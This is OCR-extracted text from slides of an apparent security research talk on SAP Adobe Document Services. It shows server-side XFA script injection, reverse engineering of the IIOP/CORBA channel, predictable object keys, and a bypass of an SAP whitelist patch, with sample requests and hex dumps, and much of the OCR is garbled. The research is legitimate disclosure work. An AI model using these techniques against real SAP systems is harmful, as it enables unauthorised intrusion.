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Zr AlLVTest

<« C O & saphost.corp:*

| Print Version || Add Row || Delete Row |

5| First name Last Name Currency SALARY | Residence CL

Marc Homster EUR 489.67 Den Haag
Martha DeYork EUR 4,766.80 Brussels
Lester Huygenes EUR 4,010.29 Brussels
Marcel Portier EUR 4,321.01 Paris
Claude Guerenot EUR 15,441.67 Paris
Solange-Julie Mercone EUR 1,541.23 Paris
Perry Momster EUR 5,609.80 Den Haag
Lisa Momster-Tomster usD 429.40 New York
Alf Tomster-Momster UsD 10,987.45 San Francisco
Pamela Beroti uUsD 955.67 San Francisco
Timothy Clark usD 3,955.67 San Francisco
Tomas Beroti usD 5,5656.70 New York
Homer Simpson UsD 1,257.80 San Francisco
Fred Larrington UsD 11,245.30 San Francisco
Thekla Mollins UsD 6,234.78 New York
Sarah Smith usD 1,454.78 New York
Mike Forester usD 12,456.56 New York

Wong JPY 12,678 Tokio

Lang JPY 62,347 Tokio

Hong JPY 62,544 Tokio

[0]Image in PDF Created By Google Gemini.

Back | NewData |

*Any host or domain used for demonstration throughout the talk is fictitious



https://docs.google.com/file/d/1kkTL3d7_oqTs7LU5VuZnm2fckDtE_UFD/preview

Fabian Hagg Onapsis  Yvan Genuer

Security Researcher Security Researcher
Several years SAP experience Many years SAP experience

linkedin.com/in/haggfabian linkedin.com/in/1ggy
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First meet during a SAP pentest






[1]1SAP SE. SAP Corporate Fact Sheet (May 9, 2025).



= Error Report x e
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405 Method Not Allowed

Error: com.sap.engine.services.webservices.espbase.server.additions.wsa.WSAddressingException: com.sap.SOA.wsr.030104 - Expected request method POST. Found GET.

SAP Technology Troubleshooting Guide

Details: No details available.



SAP Configuration of RFC Connections

Connection Edit Goto Extras Utilities System Help

)

G Generate RFC Callback Positive Lists ook Activate Non-Empty V2 « B €K A X O
* /

SAP RFC Destination ADS

ocom RFC callback check secure

DASdefault
i ADS
SLD Client G HTTP Connection to External Server Des

SLD_DataSupplier
RFC_TEMP_1

!ADS Connection |

| |

Destination Detail \ ‘

| Edit | | Ping Destination |
Technical Settings  Logon & Security  Special Options

HTTP Destination™= = =
Connection and Transport Logon Data Settiiygs

’sapads.s&ﬁ-—ﬁ-ﬁfqu- | Port iSOOOO}
| adobeDocumentServices/Config?style=rpc ‘

Connection Information

URL: http://sapads.s :50000/AdobeDocumentServices/Config?style=rpc

Additional Settings for SAP Systems

System ID:
Client:

Language:



First meet during a SAP pentest

Whateveris a “SAP ADS”

— Itis a centralized system



First meet during a SAP pentest
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— Work on PDF



First meet during a SAP pentest

Whatever is a “SAP ADS”
— Itis a centralized system
— Work on PDF

— SAP and Adobe are involved
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SAPscript

Text processing, layouting,
and form maintenance

Control commands and
symbols

Smart Forms Adobe Document
Services (ADS)
Successor of SAPscript Developed jointly by Adobe
available since R/34.6C Systems Inc.and SAP SE
Custom form logic and Most “recent” solution
interactive web forms with a comprehensive
feature set

[2] SAP SE. SAP Help Portal - BC Style and Form Maintenance.

[3]SAP SE. SAP Help Portal - Support Content: Output Management.

[4] SAP SE. SAP Help Portal - Smart Forms.

[5] SAP SE. SAP Help Portal - Adobe Document Services for Form Processing.



aka “SAP Interactive Forms by Adobe (IFbA)”

On-premise extension for creating and v—

processing forms and business documents —_—
Adobc-‘:' Document

Java Runtime (SAP NetWeaver AS Java) Services (ADS)

Developed jointly by Adobe
Systems Inc. and SAP SE

Most “recent” solution

with a comprehensive
feature set

[5] SAP SE. SAP Help Portal - Adobe Document Services for Form Processing.



aka “SAP Interactive Forms by Adobe (IFbA)”

On-premise extension for creating and
processing forms and business documents

Java Runtime (SAP NetWeaver AS Java)
Supports

Java & ABAP integration

Digital signatures

Custom fonts

Adobe LiveCycle Designer for SAP
Solutions

o O O O

«/ ==

Adobe Document
Services (ADS)

Developed jointly by Adobe
Systems Inc. and SAP SE

Most “recent” solution
with a comprehensive
feature set

o ... [5] SAP SE. SAP Help Portal - Adobe Document Services for Form Processing.
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SAP System with ADS



CVSS—r

- - ’\ Ve e ar x L L

SAP Security Note Year e S Title
2342974 y{ V] 6.5 Arbitrary Valid Certificate Vulnerability in Adobe Document Services
2392719 2017 5.3 Potential Denial of Service Vulnerability in Adobe Document Services
2236258 2017 55 Missing XML Validation Vulnerability in Adobe Document Services
2245398 2016 JAS Java Deserialization Vulnerability in Adobe Interactive Forms
2918411 2016 i Potential Remote Termination of Ru n-ning Processes in Adobe

Document Services

1450228 2010 - Directory Traversal in CL_LFP_ADS_HTTP_EXTENSION

[6] SAP SE. SAP Security Notes.
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Security Analysis: Our Journey of Discovery

First Finding:  XFA Breakout



= Error Report x e
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405 Method Not Allowed

Error: com.sap.engine.services.webservices.espbase.server.additions.wsa.WSAddressingException: com.sap.SOA.wsr.030104 - Expected request method POST. Found GET.

SAP Technology Troubleshooting Guide

Details: No details available.



(28] 1 of1 — + Automatic Zoom v LT Z2 & &3 »

i)
Residence CL | Sex 1 | W HT | ENTRYDATE | Age [~
489.67 Den Haag MALE [ .6 5/17/2025 68
6/6/1973  Martha DeYork 4,766.80 Brussels FEMALE ] g 5/18/2025 51

First name Residence CL Married | WEIGHT | ENTRYDATE  Age

Den Haag

3/14/1975 | Lester Huygenes 4,010.29 Brussels MALE v £ 50
3/14/1972  Marcel Portier 4,321.01 Paris MALE [ 5 53
4/20/1964 | Nadine Marot 5,34153  Paris FEMALE [ 4.7 | 5/7/12025 61
17/1974 | Claude Guerenot 1544167  Paris MALE [ .4 | 5/18/2025 51

3/20/1973 | Solange-Julie = Mercone 1541.23  Paris FEMALE s 5 5/17/12025 52

0 | Den Haag
3/14/1978 = Perry M nister 5,609.80 Den Haag MALE | .8 | 5/20/2025 0 | New Vark
4/29/1949 | Lisa M Jomier 42940 ' New/ ork rEM LE @ 4 | 5/19/2025
8/19/1966 | Alf Tc aster-Mon( cer 17.987.45 | San| rancis o [ MAL| i .2 | 51222025
8/19/1916 Pamela Beroti 955.67 San Francisco FEMALE [v] . 5/18/2025
5/26/1954 = Timothy Clark 3,955.67 San Francisco MALE [ . 5/19/2024 P
5/1/1950 = Tomas Beroti 5,5566.70 | New York MALE 5 5/12/2025 iy
6/11/1973  Homer Simpson 1,257.80 San Francisco MALE v .6 4/19/2025
4/12/1970 Fred Larrington 11,245.30 San Francisco MALE v 5 3/19/2025

7/21/1982 | Thekla Moliins 6,234.78  New York FEMALE [ .9 | 5/26/2025

New York
S B | New York
Forester New York
6/7/1964 | Sarah Smith 1,454.78 New York FEMALE .2 | 5/19/2025
9/9/1967 = Mike Forester 12,456.56 = New York MALE £ .9 | 5/5/2025
71211971 Li Wong 12,678 Tokio FEMALE
5/21/1956 | Sin Lang 62,347 | Tokio MALE .6 | 5/19/2025

https://saphost/webdynpro/resources/sap.com/bi~alv~testapps/ALVTest#



SAP Systems SAP NetWeaver Application Server Java

H{—
lwsalvpdf

SAP Adobe Document Service (ADS)

v -
e wed /AdObeDocumentServices




Researcher

—

plication Server Java

lwsalvpdf

p
Send (o ancel || < |¥

Request

Pretty Raw Hex & H \n

1 POST /wsalvpdf/Configl?style=document HTTP/1.1

2| Accept-Encoding: gzip, deflate, br

3| Content-Type: text/xml;charset=UTF-8

4| SOAPAction: ""

5 Content-Length: 2831

& Host: saphost:50000

7| User-Agent: Apache-HttpClient/4.5.5 (Java/16.0.1)]

g Connection: close

10| <?xml version="1.0" encoding="UTF-8"?>

<SNAP-FNV:Fnual ana ymlne:ya="

= /AdobeDocumentServices

Response
Pretty Raw Hex

HTTP/1.1 200 OK

connection: close
server: SAP NetWeaver
content-type: text/
date: Mon, 19 May 2

=

J
b

s wMN

(0]

<?xml version="1.0"
<SOAP-ENV:Env
http:/

encoding="UTF-8"?>

~

lope xmlns:x

SAP Adobe Document Service (ADS)

http:/

<QNAP- FNV * Radv calun/



Adobe XFA (XML Forms Architecture)

<?xml version="1.0" encoding="UTF-8"7>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<xfa:template
xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.3">
<subform name="forml">
field name="textFieldl">

e AnXML-based specification

e Designed for creating dynamic and <textEdit/>
interactive forms i mﬁ typeface="Helvetica"
field>

(fa:template>
:xfa:datasets
xmlns:xfa="http://www.xfa.org/schema/xfa-data/3.3">

xfa:data>
<textFieldl>Hello XFA!</textFieldl>

xfa:data>

xfa:datasets>

: xdp>

I

Q [7]Adobe Systems Inc. XML Forms Architecture (XFA) Specification: Version 3.3.



Adobe XFA (XML Forms Architecture)

<?xml version="1.0" encoding="UTF-8"7>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<xfa:template
xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.3">
<subform name="forml">
<field name="textFieldl">

<textEdit/>

23~
uil>

éiuﬂi typeface="Helvetica"
field>
. . '..;I:‘t“;r;‘pl.:i,«~:~
e Accept<script>with content type Sitardatasets
o application/x-javascript xmlns:xfa="http://www.xfa.org/schema/xfa-data/3.3">
<xfa:data>
o application/x-formcalc <textFieldl>Hello XFA!</textFieldl>
</xfa:data>

xfa:datasets>

:xdp>

I

Q [7]Adobe Systems Inc. XML Forms Architecture (XFA) Specification: Version 3.3.



Researcher

SAP NetWeaver Application Server Java

m—‘m’f |

SAP Adobe Document Service (ADS)
s wea A 0dObDEeDoOCUMentServices

name="_" id="yvan" activity="initialize"
runAt="server" contentType="application/x-javascript"
this.rawValue = 'version: '+ xfa.host.version +

'\\nplatform:' + xfa.host.platform +
'\\nname:' + xfa.host.name +
'\\nlang:' + xfa.host.language;




SAP NetWeaver Application Server Java

m—‘m’f |

SAP Adobe Document Service (ADS)
s wea A 0dObDEeDoOCUMentServices

name= id="yvan" activity="initialize"
— T = s T IR Y Rt
runAt="server" conientType="application/x~-javascript
this.rawValue =

'version: '+ xfa.host.version +
‘\\nplatform:' + xfa.host.platform +
'\\nname:' + xfa.host.name +
'\\nlang:' + xfa.host.language;




SAP Systems

[lall&—
File View Edit Go Bookmarks Tools Settings Help

SAP NetWeaver Application Server Java

lwsalvpdf

J

e

100% ¥ | Zoom OQut ZoomIn Browse = Zoom Area Selection ~

version: 3. 6. 22168. 0

pl atf or m Li nux

SAP Adobe Document Service (ADS)
/AdobeDocumentServices

= 1hltlatllze

nane: XFAPresent ati onAgent | ang: en_US




SAP NetWeaver Application Server Java

lwsalvpdf

URL Built-in Functions 1143

XFA Specification
Chapter 25, FormCalc Specification

FormCalc provides a number of functions to manipulate the content of URLs, including the ability to:
e download data from a URL,

e upload datatoa URL, and

e postdatatoaURL

These functions are only operational when a protocol host has been provided to the FormCalc engine.
The list of supported URL protocols (http, https, ftp, file) may thus vary with each protocol hosting

environment.

[7]Adobe Systems Inc. XML Forms Architecture
(XFA) Specification: Version 3.3.




SAP NetWeaver Application Server Java

/wsalvpdf

URL Built-in Functions 1143

XFA Specification

Chapter 25, FormCalc Specification

public CalcSymbol postUrl (String sUrl, String sSoapHeader [...]) {

MsgFormatPos sFmt = new MsgFormatPos (ResId.PROTOCOL ERR SYS) ;
sFmt. format (sUrl) ;

CalcSymbol oErr = new CalcSymbol (sFmt.toString(), true, 0, 0);

throw new CalcException (oErr) ;

} =

environment.

[7]Adobe Systems Inc. XML Forms Architecture
(XFA) Specification: Version 3.3.




Security Analysis: Our Journey of Discovery

Challenge1: = Howdoes it work internally?



SAP Systems

P
=

SAP NetWeaver Application Server Java

lwsalvpdf

SAP Adobe Document Service (ADS)

wa /AdobeDocumentServices
| | —




SAP Systems SAP NetWeaver Application Server Java

=

SAP Adobe Document Service (ADS)

== /AdobeDocumentServices




SAP Systems

Res

# temp file monitor
while true; do

date +"%T.%3N" >> /tmp/ADS_tempdir.log

find /usr/sap/SID/J00/j2ee/cluster/server®/temp/adobewa_* -1s >> /tmp/ADS_tempdir.log
done

# network service monitor
while true; do
date +"%T.%3N" >> /tmp/ADS_ss.log
ss -larntp | grep -i -e "icman" >> /tmp/ADS_ss.log -
done

# sniffing external interface
tcpdump -i any -w /tmp/ADS_tcpdump_lo.pcap port not 22 or port not 7200

# sniffing local pipe

/root/get_sapstream.sh /tmp/.sapicm50000 /tmp/ADS_stream50000.log
/root/get_sapstream.sh /tmp/.sapicm50001 /tmp/ADS_stream50001. log
/root/get_sapstream.sh /tmp/.sapicm50007 /tmp/ADS_stream50007.1log
/root/get_sapstream.sh /tmp/.sapicm50008 /tmp/ADS_stream50008.1log

# monitor man processes
strace -f -e trace=file,network -s 10000 -p
strace -f -e trace=file,network -s 10000 -p

jstart™ -o /tmp/ADS_strace_jstart.log -T -tt
icman® -o /tmp/ADS_strace_icman.log -T -tt

l N




SAP Systems
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SAP NetWeaver Application Server Java

-
— ER)

SAP Adobe Document Service (ADS)
Shared

R iehal _ java. ]I_ang
esearche ma /AdobeDocumentServices -Runtime.
D m—

—

Files
IIOP handle (via ICM) [l XMLForm.exe
) *

[ocal/lOP N XMLForm




SAP Adobe Document Service (ADS)

) java.lang
= /AdobeDocumentServices .Runtime.
exec ()

Shared
Files

IIOP handle (via ICM) XMLForm.exe
) _occ |
pay XMLForm




ervice (ADS)

java.lang
.Runtime.
exec ()

XMLForm.exe
| XMLForm




ument Service

ntServices G

Shared
Files




e /AdobeDocumentServices g

Shared
Files




v A

IIOP handle (via ICM)
4
[ocal/lOP o




Common Object Request Broker Architecture (CORBA)

/

\) [ Object Implementation\)

. -

[8] Object Management Group (OMG). CORBA Specification, Version
3.4 - Part 1: CORBA Interfaces.



Common Object Request Broker Architecture (CORBA)

e |IOP provider servicein Internet Java Instance Architecture
Communication Manager (ICM)

Server Process (0)
SAP JVM

Server Process (1)
SAP JVM

=
S
E
o
=
-
g
@
=
]

Server process {n)
SAP JVM

Monitoring Shared Memory

[9] SAP SE. SAP Help Portal - SAP NetWeaver 7.5 - Java Instance.



Common Object Request Broker Architecture (CORBA)

[IOP provider service in Internet Java Instance Architecture
Communication Manager (ICM)

Java-side implementation
seems located in

com.sap.engine.services.iiop

com.sap.engine.services. jndi
com.sap.engine.services.cross

Server Process (0)
SAP JVM

Server Process (1)
SAP JVM

=
S
E
o
=
-
g
@
=
]

Server process {n)
SAP JVM

Monitoring Shared Memory

[9] SAP SE. SAP Help Portal - SAP NetWeaver 7.5 - Java Instance.



Common Object Request Broker Architecture (CORBA)

[IOP provider service in Internet Java Instance Architecture
Communication Manager (ICM)

Java-side implementation
seems located in

com.sap.engine.services.iiop

com.sap.engine.services. jndi
com.sap.engine.services.cross

Server Process (0)
SAP JVM

: Server Process (1)
ADS-specific binary XMLForm i‘  ] SAP JVM
speaking IIOP (seems to be Za—
based on omniORB) SAP JVM

Shared Memory

z
(=}
£
L
b=
-
@
-
©
=
n
=11]
£
-
(=}
=
[
(=]
s

[9] SAP SE. SAP Help Portal - SAP NetWeaver 7.5 - Java Instance.



Interoperable Object Reference (IOR)

Loool

execve ("/usr/sap/SID/J00/j2ee/os libs/adssap/XMLFormService/bin/XMLForm",
["/usr/sap/SID/J00/j2ee/os libs/adssap/XMLFormService/bin/XMLForm",

"/usr/sap/SID/J00/j2ee/os libs/adssap/XMLFormService",

= 0 <0.000360>
[...]

, "-AppServer", "webas"], 0xeaf030 /* 36 vars */)

o,




IOR and IIOP IOR Profiles

Type_id lIOP_Profile

N

ProfileBody

A

Object

Host Port
Key

[10] OMG. CORBA Specification, Version 3.3 - Part 2: CORBA Interoperability.



IOR and IIOP IOR Profiles

Sample IOR passed to XMLForm

00000000 00 00 00 00 00 00 oo 22 EENEEINCHENEINTIEEE . ...... gjoL: con/)
SEEDEEMANG1 64 65 62 65 2f 73 65 72 76 69 63 65 2f 4d 61jlladobe/service/Mal
00000020  ENKHEESINTNFPEEENERPEER 00 00 00 00 00 00 01 | NN ...... |

00000030 00 00 00 00 OO OO OO 54 00 01 02 00 00 00 00 OF |....... Teveeen.. |
00000040 50 52 44 53 41 50 41 44 53 53 52 56 30 31 00 00 |PRDSAPADSSRVO1.. |
00000050 ¢3 57 00 00 00 00 00 Oc a2 46 26 00 6b 2b 66 85 |AW...... CF&.k+f. |

00000060 5a 8d 01 00 00 00 00 01 OO0 00 00 01 OO0 00 00 1Ic |Z..eeeveennnnn. |
00000070 00 00 00 OO O5 01 00 01 OO0 00 00 01 00 01 00 O J.eevueweeeeeenannn. |
00000080 00 01 01 09 00 00 0O 01 OO 01 O1 OS oo e e

q [10] OMG. CORBA Specification, Version 3.3 - Part 2: CORBA Interoperability.



IOR and IIOP IOR Profiles

Host and Port

Sample IOR passed to XMLForm

00000000 00 00 00 00 00 OO0 00 22 49 44 4c 3a 63 6f 6d 2f |....... "IDL:com/ |
00000010 61 64 6f 62 65 2f 73 65 72 76 69 63 65 2f 4d 61 |adobe/service/Ma|
00000020 ©6e 61 67 65 72 3a 31 2e 30 00 00 00 00 00 00 01 |nager:1.0....... |

00000030 00 00 00 00 00 00 00 54 00 01 02 00 00 00 00 OF |....... i |
SUGDILEIN -0 52 44 53 41 50 41 44 53 53 52 56 30 31 00 00JMPRDSAPADSSRVOL. .}
00000050 [EEINEMl 00 00 00 00 00 Oc a2 46 26 00 6b 2b 66 85 | [4...... CF&.k+£. |

00000060 5a 8d 01 00 00 00 00 01 OO0 00 00 01 OO0 00 00 1Ic |Z..eeeveennnnn. |
00000070 00 00 00 OO O5 01 00 01 OO0 00 00 01 00 01 00 O J.eevueweeeeeenannn. |
00000080 00 01 01 09 00 00 0O 01 OO 01 O1 OS oo e e

Q [10] OMG. CORBA Specification, Version 3.3 - Part 2: CORBA Interoperability.



IOR and IIOP IOR Profiles

Object Key

Sample IOR passed to XMLForm
00000000 00 00 00 00 00 OO0 00 22 49 44 4c 3a 63 6f 6d 2f |....... "IDL:com/ |
00000010 61 64 6f 62 65 2f 73 65 72 76 69 63 65 2f 4d 61 |adobe/service/Ma|
00000020 ©6e 61 67 65 72 3a 31 2e 30 00 00 00 00 00 00 01 |nager:1.0....... |
00000030 00 00 00 00 OO OO 00O 54 00 01 02 0O 00 00 00 OF J....... Teveeenn. |
00000040 50 52 44 53 41 50 41 44 53 53 52 56 30 31 00 00 |PRDSAPADSSRVO1.. |

00000050 ¢3 57 00 00 00 00 00 Oc EENKIINOIINGNIIRIINE A7 ... .. ¢Fs.k+£. )
00000060 FEENEENCEIREE 00 00 00 01 00 00 00 01 00 00 00 1c | NN ........... |

00000070 00 00 00 OO O5 01 00 01 OO0 00 00 01 00 01 00 O J.eevueweeeeeenannn. |
00000080 00 01 01 09 00 00 0O 01 OO 01 O1 OS oo e e

Q [10] OMG. CORBA Specification, Version 3.3 - Part 2: CORBA Interoperability.



Object Key and Implicit Access Control

Date: November 2012

“An agent that generates an object key value
must be able to map the value unambiguously

Common Object Request Broker Architecture (CORBA) onto the Corresponding Object[m]”

Specification, Version 3.3

;.1 AR ;ﬂ

Part 2: CORBA Interoperability

OMG Document Number: formal/’2012-11-14
Standard document URL: http://www.omg.org/spec/CORBA/3.3/Interoperability/PDF
Normative Machine Consumable Files:
h RBA/20120302/MGM.idI
RBA/20120302/MIOP.idl
RBA/20120302/PortableGroup.idl
RBA/20120302/ZIOP.idI




Security Analysis: Our Journey of Discovery

Challenge2:  Object Key Generation



Class com.sap.engine.services.iiop.internal.ClientORB

// Internal object key generation
byte[] getObjectKey (int serverId) ({
byte[] objkey = new byte[l12];

// Add server ID /
Convert.writeIntToByteArr (objkey, 0, serverlId);

// Take timestamp via System.currentTimeMillis ()

long time = System.currentTimeMillis() ;

// Add incremental connection counter aka object ID

synchronized (this) {
objkey[4] = (byte)corr++;

}

// Add timestamp

for (int i = 0; i < 7; i++)

objkey[i + 5] = (byte) (int) (time >> i * 8 & OxFFL);

return objkey;

Server D




Class com.sap.engine.services.iiop.internal.ClientORB

// Internal object key generation
byte[] getObjectKey (int serverId) ({
byte[] objkey = new byte[l12];

// Add server ID

Convert.writeIntToByteArr (objkey, 0, serverId) T]nnestannp

// Take timestamp via System.currentTimeMillis ()
long time = System.currentTimeMillis() ; /
// Add incremental connection counter aka object ID
synchronized (this) {
objkey[4] = (byte)corr++;
}
// Add timestamp
for (int 1 = 0; 1 < 7; i++)
objkey[i + 5] = (byte) (int) (time >> i * 8 & OxFFL);

return objkey;



Class com.sap.engine.services.iiop.internal.ClientORB

// Internal object key generation

byte[] getObjectKey (int serverId) ({
byte[] objkey = new byte[l12];
// Add server ID
Convert.writeIntToByteArr (objkey, 0, serverlId);

// Take timestamp via System.currentTimeMillis ()

long time = System.currentTimeMillis() ;

// Add incremental connection counter aka object ID

Object Counter

synchronized (thiS) { /
objkey[4] = (byte)corr++;

}
// Add timestamp

for (int i = 0; i < 7; i++)
objkey[i + 5] = (byte) (int) (time >> i * 8 & OxFFL) ;

return objkey;




Class com.sap.engine.services.iiop.internal.ClientORB

Server ID (4B) Timestamp (78)
Counter (1B)

WA ~

STATIC DYNAMIC



Sample IIOP Request for Manager CORBA Object with Target Object Key in Request Header
00000000 47 49 4f 50 01 02 01 00 78 00 00 00 10 00 00 00 |GIOP....X....... |
00000010 03 00 00 00 00 0o 0o co oc oo oo oo N | ............ ¢Fs. |

00000020 P3% EENECIEEIEEIEEIEEREE s 00 00 00 67 65 74 43 [+.°JU....... getC|

00000030 6f 6e 66 69 67 50 72 6f 70 65 72 74 79 53 74 72 |onfigPropertyStr|
00000040 69 6e 67 00 00 00 00 00 38 00 00 00 ff fe 43 00 Jing..... 8...VpbC. |
00000050 54 00 5f 00 41 00 64 00 64 00 69 00 74 00 69 00 |T. .A.d.d.i.t.i.]
00000060 6f 00 6e 00 61 00 6¢c 00 46 00 6f 00 6e 00 74 00 Jo.n.a.l.F.o.n.t.]|
00000070 73 00 43 00 61 00 63 00 68 00 65 00 46 00 69 00 |[|s.C.a.c.h.e.F.1.]

[...]

o,



Security Analysis: Our Journey of Discovery

Challenge 3:  IIOP Remote Communication



import org.omg.CosNaming.*;

iiop_chat

import org.omg.CORBA.*;

import java.util.Properties;

public class iiop_chat({

public static void main(String args|[]) CORBA COS
{ Naming Service
try{
Properties props = new Properties() ;
props.put("org.omg.CORBA.ORBInitialPort", "50007") ;
props.put("org.omg.CORBA.ORBInitialHost", "PRDSAPADSSRVO1l") ;

ORB orb = ORB.init(args, props):;
// get the root naming context
NamingContextExt nc =

NamingContextExtHelper.narrow (orb.resolve initial references ("NameService")) ;

System.out.println(nc) ;

q [11] Oracle. Java Documentation - Naming Service.



iiop_chat

$ Jjava iiop chat

ERROR : org.omg.CORBA.COMM FAILURE: vmcid: SUN minor code: 208 completed: Maybe
org.omg.CORBA.COMM FAILURE: vmcid: SUN minor code: 208 completed: Maybe
at

com.sun.corba.se.impl.logging.ORBUtilSystemException.connectionAbort (ORBUtilSystemExcept i
on.java:2400)
at
com.sun.corba.se.impl.logging.ORBUtilSystemException.connectionAbort (ORBUtilSystemExcepti
on.java:2418)
fecal

Caused by: java.io.IOException: End-of-stream
at

com.sun.corba.se.impl.transport.SocketOrChannelConnectionImpl.readFully (SocketOrChannelCd
nnectionImpl.java:623)

[...]




SAP NetWeaver Application Server Java
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Only local




Description
SAP NetWeaver AS JAVA (IIOP service) (SERVERCORE), versions 7.10, 7.11, 7.20, 7.30, 7.31, 7.40, 7.50, and SAP NetWeaver AS JAVA (lIOP

service) (CORE-TOOLS), versions 7.10, 7.11, 7.20, 7.30, 7.31, 7.40, 7.50, allows an attacker to send a crafted request from a vulnerable web
application. It is usually used to target internal systems behind firewalls that are normally inaccessible to an attacker from the external

network, resulting in a Server-Side Request Forgery vulnerability.

[12] NIST. National Vulnerability Database - CVE-2020-6282.

“Whitelist mechanism has been implemented via
the newly introduced multi value properties
allowed.client.hosts and allowed.orb.hosts of the
SAP NetWeaver AS Java IIOP service.”



Class com.sap.engine.services.iiop.internal.giop.IncomingRequest_1_2/IncomingMessage

protected void postReadMessageHeader () ({

[...]
this.requestContexts = preReadServiceContexts() ;
processServiceContexts (this.requestContexts) ;

[...]

protected ServiceContext[] preReadServiceContexts() {
ServiceContext[] requestContexts = new ServiceContext[read long()];
for (int i = 0; i < requestContexts.length; i++) {
try {

int id = read long();

byte[] contextData = new byte[unaligned read long()];

read octet_array(contextData, 0, contextData.length);

requestContexts[i] = new ServiceContext(id, contextData) ;

} catch (Exception ex) ({



protected void processServiceContexts(ServiceContext[] serviceContexts) {

if (serviceContexts != null)
for (int i = ©; i < serviceContexts.length; i++) {
try {
int id = (serviceContexts[i]).context_id;
if (id == 1) {
(=]
} else if (id == 6) {

byte[] contextData = (serviceContexts[i]).context_ d=t=a-

if (!isORBConnectionAllowed(contextData)) {
this.connection.close();
return;

private boolean isORBConnectionAllowed(String orbHost, int orbPort) {
if (this.connection.islocal()) {
el
return true;
}
[aei]
String localAddress = this.connection.getProperties().getLocalAddress();
String remoteAddress = this.connection.getProperties().getRemoteAddress();
if (localAddress.equals(remoteAddress)) {
Lo el
return true;
}
Map<String, Set<Integer>> allowedOrbHostToPorts =
CorbaServiceFrame.getAllowedOrbHostToPorts();
if (remoteAddress.equals(orbHost)) {
if (allowedOrbHostToPorts.containsKey(orbHost)) {
[eesd

return true;

}



Bypassing New Security Controls of Patch 2896025

iiop_chat

ITOP Request

00000000
00000010
00000020
00000030
00000040
00000050
[...]

000000d0
000000e0
000000£0
00000100

477
00
00
00
6f
78

00
00
00
de

for NameService with

49 4f 50 01
00 00 11 00

00
00
72
74

01
00
00
61

00
00
67
2f

01
00
00
od

02
00
2f
43

00
05
04
65

00
00
53
6f

00
01
67
53

00 00 00
00 00 02

14
00
65
64

00
00
65
65

00
00
be
65

00
00
74
72

00
28
64
42

26
00
00
76

SendingContextRuntime Service Context

00 00 01 00 00 00 00 O3 |GIOP............ |

00 02 00 00 4e 45 4f 00  |.vieeeeennnn NEO. |
00 00 00 06 00 00 00 @ae | .eeieewerennnnnn ®|
49 44 4c 3a of 6d 67 2  |....... (IDL:omg. |

69 6e 67 43 6f 6e 74 65 |org/SendingConte]
6l 73 65 3a 31 2e 30 00 | xt/CodeBase:1.0. |

00 00 00 02 00 02 00 00 J.e.o... &evinnnn. |
00 00 00 04 49 4e 49 54 |......v... INIT |
00 00 00 00 00 00 00 Oc J....get......... |
69 63 65 00 | NameService. |

o,



Bypassing New Security Controls of Patch 2896025

ITOP Request

00000000
00000010
00000020
00000030
00000040
00000050
[...]

000000d0
000000e0
000000£0
00000100

477
00
00
00
6f
78

00
00
00
de

for NameService with

49 4f 50 01
00 00 11 00

00
00
72
74

01
00
00
61

00
00
67
2f

01
00
00
od
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00
2f
43

00
05
04
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00
00
53
6f

00
01
67
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00
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00
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00
74
72

00
28
64
42
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00
00
76

SendingContextRuntime Service

00 01 00 00 00 00

00
00
00
49
69
61

00
00
00
69

02 00 00

oo g

00
44
be
73

00
00
00
63

4c
o7
65

00
00
00
65

3a
43
3a

02
04
00
00

00
6f
6f
31

00
49
00

00
6d
be
2e

02
de
00

00
49
00

ae
2e
65
00

00
54
Oc

Serviceld
GIOP..... .. . oo .. |
............ NEO. |
............... ® |

[ oo oo (IDL:omg. |
|org/SendingConte |

| xt/CodeBase:1.0. |

| NameService. |

o,




Bypassing New Security Controls of Patch 2896025

module IOP{
const Serviceld TransactionService = 0;
const Serviceld CodeSets = 1;
const Serviceld ChainBypassCheck = 2;
const Serviceld ChainBypassinfo = 3;
const Serviceld LogicalThreadld = 4;
const Serviceld BI_DIR_IIOP = 5;
const Serviceld SendingContextRunTime = 6;
const Serviceld INVOCATION_POLICIES = 7;
const Serviceld FORWARDED_IDENTITY = 8;
[.]
const Serviceld FIREWALL_PATH = 20;
const Serviceld FIREWALL_PATH_RESP = 21;

[10] OMG. CORBA Specification, Version 3.3
Part 2: CORBA Interoperability

ContextRuntime Service

o g oo oo

c 3a 6f od
7 43 of oe

02 00 02
04 49 4e
00 00 00
00

o o O O

00
49
00

ae
2e
65
00

00
54
Oc

Serviceld

|org/SendingConte |
| xt/CodeBase:1.0. |

| NameService. |




Bypassing New Security Controls of Patch 2896025

ITOP Request

00000000
00000010
00000020
00000030
00000040
00000050
[...]

000000d0
000000e0
000000£0
00000100

477
00
00
00
6f
78

00
00
00
de

for NameService with

49 4f 50 01
00 00 11 00

00
00
72
74
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00
00
61

00
00
67
2f

01
00
00
od
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00
2f
43

00
05
04
65
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00
53
6f

00
01
67
53

00 00 00
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65
64
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65
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00
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65
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74
72

00
28
64
42
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00
00
76

SendingContextRuntime Service

00 01 00 00 00 00

00
00
00
49
69
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69

02 00 00

00 [

00
44
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00
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Serviceld
GIOP..... .. . oo .. |
............ NEO. |
............... ® |

[ oo oo (IDL:omg. |
|org/SendingConte |

| xt/CodeBase:1.0. |

| NameService. |

o,




$ java iiop chat
TOR:000000000000002b49444c3a6£6d672e6£72672£436£734€616d696e672f4€616d696e67436
f6e746578744578743a312e300000000000010000000000000054000102000000000£5052445341

5041445353525630310000C35700000000000ca2462600£5002£46ed96010000000001[...]

00000000 OO0 00 OO0 OO0 00 OO0 00 2b 49 44 4c 3a 6f 6d 67 2¢ |....... +IDL:omg. |
00000010 6f 72 67 2f 43 6f 73 4e 61 6d 69 6e 67 2f 4e 61 |org/CosNaming/Na |
00000020 6d 69 6e 67 43 6f 6e 74 65 78 74 45 78 74 3a 31 |mingContextExt:1]
00000030 2e 30 00 00O 00 00 00 01 OO OO0 OO0 OO OO 00 00 54 |.0v.ivvveennnn.. T |
00000040 00 01 02 00 00 00 00 Of 50 52 44 53 41 50 41 44 |........ PRDSAPAD|
00000050 53 53 52 56 30 31 00 00 c3 57 00 00 00 00 00 Oc |SSRVOl..AW...... |
00000060 a2 46 26 00 £5 00 2f 46 ed 96 01 00 00 00 00 01 |¢F&.0./Fi....... |

[...]

iiop_chat




SAP NetWeaver Application Server Java

=) fwsalvp

Attacker

LS )
Remote
Interaction ' '

[IOP handle




Security Analysis: Our Journey of Discovery

Challenge4:  Online Brute-Force of Manager Object Key



